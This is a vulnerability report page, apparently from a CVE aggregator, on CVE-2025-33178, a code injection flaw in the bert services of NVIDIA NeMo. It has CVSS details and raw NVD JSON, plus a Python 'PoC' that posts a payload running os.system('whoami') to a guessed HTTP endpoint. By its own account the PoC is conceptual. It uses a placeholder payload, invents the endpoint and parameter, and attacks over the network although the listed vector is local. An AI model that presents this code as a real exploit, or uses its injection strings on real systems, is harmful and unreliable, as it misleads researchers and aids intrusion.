Security Vulnerability Report
中文
CVE-2025-33178 CVSS 7.8 HIGH

CVE-2025-33178

Published: 2025-11-11 17:15:50
Last Modified: 2025-11-19 21:15:43

Description

NVIDIA NeMo Framework for all platforms contains a vulnerability in the bert services component where malicious data created by an attacker may cause a code injection. A successful exploit of this vulnerability may lead to Code execution, Escalation of privileges, Information disclosure, and Data tampering.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:nvidia:nemo:*:*:*:*:*:*:*:* - VULNERABLE
NVIDIA NeMo Framework (all platforms) - bert services component versions prior to patch

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-33178 PoC - NVIDIA NeMo Framework bert服务代码注入 # Note: This is a conceptual PoC for demonstration purposes # Actual exploitation requires understanding the specific bert service implementation import requests import json TARGET_URL = "http://target-server:5000/api/bert/predict" def exploit_cve_2025_33178(): """ Exploit for CVE-2025-33178: NVIDIA NeMo Framework bert services code injection This PoC demonstrates how malicious data can be injected through the bert service API. The actual payload depends on the specific vulnerability implementation. """ # Malicious payload designed to exploit code injection in bert services # The payload attempts to inject arbitrary code through the input processing malicious_payload = { "text": "'; injected_code_here; '" } # Alternative payload structure that might trigger code injection alt_payload = { "input_ids": [101, 2003, 1037, 1996, 102], # BERT input tokens "attention_mask": [1, 1, 1, 1, 1], "token_type_ids": [0, 0, 0, 0, 0], "custom_param": "'; import os; os.system('whoami'); '" # Code injection attempt } try: # Send malicious request to bert service endpoint response = requests.post(TARGET_URL, json=alt_payload, timeout=10) print(f"[+] Request sent to {TARGET_URL}") print(f"[+] Status Code: {response.status_code}") print(f"[+] Response: {response.text}") # Check if injection was successful if response.status_code == 200: result = response.json() if "error" not in result or result.get("error") != "blocked": print("[!] Potential vulnerability - injection may have been processed") return True except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False def check_vulnerability(): """Check if target is vulnerable to CVE-2025-33178""" # Version check request (if available) version_url = "http://target-server:5000/api/version" try: response = requests.get(version_url, timeout=5) if response.status_code == 200: version_info = response.json() print(f"[*] Target version: {version_info}") except: print("[*] Unable to retrieve version information") if __name__ == "__main__": print("CVE-2025-33178 PoC - NVIDIA NeMo Framework bert services code injection") print("=" * 70) check_vulnerability() exploit_cve_2025_33178()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-33178", "sourceIdentifier": "[email protected]", "published": "2025-11-11T17:15:50.370", "lastModified": "2025-11-19T21:15:42.997", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "NVIDIA NeMo Framework for all platforms contains a vulnerability in the bert services component where malicious data created by an attacker may cause a code injection. A successful exploit of this vulnerability may lead to Code execution, Escalation of privileges, Information disclosure, and Data tampering."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-94"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nvidia:nemo:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.5.0", "matchCriteriaId": "E20B853E-AC64-49E9-9DB0-31981B034BFA"}]}]}], "references": [{"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-33178", "source": "[email protected]", "tags": ["Technical Description"]}, {"url": "https://nvidia.custhelp.com/app/answers/detail/a_id/5718", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.cve.org/CVERecord?id=CVE-2025-33178", "source": "[email protected]", "tags": ["Technical Description"]}]}}